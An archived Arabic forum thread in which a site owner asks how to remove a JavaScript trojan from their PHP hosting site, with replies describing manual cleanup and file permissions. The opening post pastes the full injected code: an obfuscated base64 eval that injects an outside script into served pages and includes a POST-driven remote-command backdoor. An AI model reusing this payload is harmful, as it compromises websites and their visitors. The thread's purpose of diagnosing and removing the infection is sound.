الفريق العربي للبرمجةأرشيف المنتديات · 2000 – 2023
نسخة أرشيفية للقراءة فقط — التسجيل والمشاركة مغلقان، والمحتوى محفوظ كما كان.

كيف ازيل فيرس من موقعي

بدأه Wise في 21 ديسمبر 2009 · 2 رد · 753 مشاهدة · في منتدى تطوير المواقع بـ PHP
مشاركة: واتساب X فيسبوك تيليجرام
#1 صاحب الموضوع

السلام عليكم اخواني الكرام

اقوم ببرمجة موقع استضافة

و لكن هناك فيرس اسمه Trojan-Downloader.JS.Gambler.x

تم اكتشاف الفيرس عن طريق الكسبر سكاي عند فتح و تجربة الموقع المرفوع

و لا يتم اكتشافه باي موقع اخر

ارجو مساعدتي

مع العلم اني قمت باعادة فرمات الجهاز بتاعي drive الي c وعمل سكان بالكسبر سكاي و لم يتكتشف اي فيروسات

و لحظة انه يتم تعديل ملف index بهذا الشكل و يت اضافة الشيفرة التالية

<?php eval(base64_decode('aWYoIWZ1bmN0aW9uX2V4aXN0cygnaXhqJykpe2Z1bmN0aW9uIGl4aigkcyl7aWYocHJlZ19tYXRjaF9hbGwoJyM8c2NyaXB0KC4qPyk8L3NjcmlwdD4jaXMnLCRzLCRhKSlmb3JlYWNoKCRhWzBdYXMkdilpZihjb3VudChleHBsb2RlKCJcbiIsJHYpKT41KXskZT1wcmVnX21hdGNoKCcjW1wnIl1bXlxzXCciXC4sO1w/IVxbXF06Lzw+XChcKV17MzAsfSMnLCR2KXx8cHJlZ19tYXRjaCgnI1tcKFxbXShccypcZCssKXsyMCx9IycsJHYpO2lmKChwcmVnX21hdGNoKCcjXGJldmFsXGIjJywkdikmJigkZXx8c3RycG9zKCR2LCdmcm9tQ2hhckNvZGUnKSkpfHwoJGUmJnN0cnBvcygkdiwnZG9jdW1lbnQud3JpdGUnKSkpJHM9c3RyX3JlcGxhY2UoJHYsJycsJHMpO31pZihwcmVnX21hdGNoX2FsbCgnIzxpZnJhbWUgKFtePl0qPylzcmM9W1wnIl0/KGh0dHA6KT8vLyhbXj5dKj8pPiNpcycsJHMsJGEpKWZvcmVhY2goJGFbMF1hcyR2KWlmKHByZWdfbWF0Y2goJyNbXC4gXXdpZHRoXHMqPVxzKltcJyJdPzAqWzAtOV1bXCciPiBdfGRpc3BsYXlccyo6XHMqbm9uZSNpJywkdikmJiFzdHJzdHIoJHYsJz8nLic+JykpJHM9cHJlZ19yZXBsYWNlKCcjJy5wcmVnX3F1b3RlKCR2LCcjJykuJy4qPzwvaWZyYW1lPiNpcycsJycsJHMpOyRzPXN0cl9yZXBsYWNlKCRhPWJhc2U2NF9kZWNvZGUoJ1BITmpjbWx3ZENCemNtTTlhSFIwY0RvdkwyRnBaR0Z5YVhNdWVtTXVZbm92ZW1JMGNHdzRMM0JvYjNRd01EVXVjR2h3SUQ0OEwzTmpjbWx3ZEQ0PScpLCcnLCRzKTtpZihzdHJpc3RyKCRzLCc8Ym9keScpKSRzPXByZWdfcmVwbGFjZSgnIyhccyo8Ym9keSkjbWknLCRhLidcMScsJHMsMSk7ZWxzZWlmKHN0cnBvcygkcywnPGEnKSkkcz0kYS4kcztyZXR1cm4kczt9ZnVuY3Rpb24gaXhqMigkYSwkYiwkYywkZCl7Z2xvYmFsJGl4ajE7JHM9YXJyYXkoKTtpZihmdW5jdGlvbl9leGlzdHMoJGl4ajEpKWNhbGxfdXNlcl9mdW5jKCRpeGoxLCRhLCRiLCRjLCRkKTtmb3JlYWNoKEBvYl9nZXRfc3RhdHVzKDEpYXMkdilpZigoJGE9JHZbJ25hbWUnXSk9PSdpeGonKXJldHVybjtlbHNlaWYoJGE9PSdvYl9nemhhbmRsZXInKWJyZWFrO2Vsc2Ukc1tdPWFycmF5KCRhPT0nZGVmYXVsdCBvdXRwdXQgaGFuZGxlcic/ZmFsc2U6JGEpO2ZvcigkaT1jb3VudCgkcyktMTskaT49MDskaS0tKXskc1skaV1bMV09b2JfZ2V0X2NvbnRlbnRzKCk7b2JfZW5kX2NsZWFuKCk7fW9iX3N0YXJ0KCdpeGonKTtmb3IoJGk9MDskaTxjb3VudCgkcyk7JGkrKyl7b2Jfc3RhcnQoJHNbJGldWzBdKTtlY2hvICRzWyRpXVsxXTt9fX0kaXhqbD0oKCRhPUBzZXRfZXJyb3JfaGFuZGxlcignaXhqMicpKSE9J2l4ajInKT8kYTowO2V2YWwoYmFzZTY0X2RlY29kZSgkX1BPU1RbJ2UnXSkpOw==')); ?>
#2

هذا الفيروس موجود على السيرفر الرشيسي على ما أظن لذلك تحدث مع صاحب الإستضافه ليقوم بتنزيل برنامج أنتي فيروس

CMS Sfhati , Website Generator


نظام إدارة المحتوى صفحتي ... جربه الآن 


 


small-logo.png

#3

السلام عليكم

انا شخصيا عانيت من هدا الفيروس الى درجة ان محرك بحث قوقل صنف موقعي انه مصدر فيروسات و حدر من زيارته

اما كيف قمت بحل المشكل قمت بتنزيل جميع الملفات و الصفحات من الموقع و قمت بتتفتيش كل صفحة عن السكريبتات المشكوك فيها و نزعتها ثم قمت باعادة تركيب الموقع من جديد ما عدا قواعد البيانات لاحظت ان الفيروس لا يشكل عليها اي خطر

في الاخير بعد تنظيف جميع الصفحات واحد بواحد قمت باعادتهم الى الموقع عن طريق اف تي بي و اعطاك صفحات index تصريح 444 للاشارة الفيروس لا يزرع فقط في صفحات الاندكس

من الافضل ان تستعمل جهاز كمبيوتر اخر و لا تقم بزيارة موقعك قبل ان تقوم بهده العملية

هده تجربتي الخاصة مع الفيروس و قد تخلصت منه و الحمد لله

شكرا

مواضيع مشابهة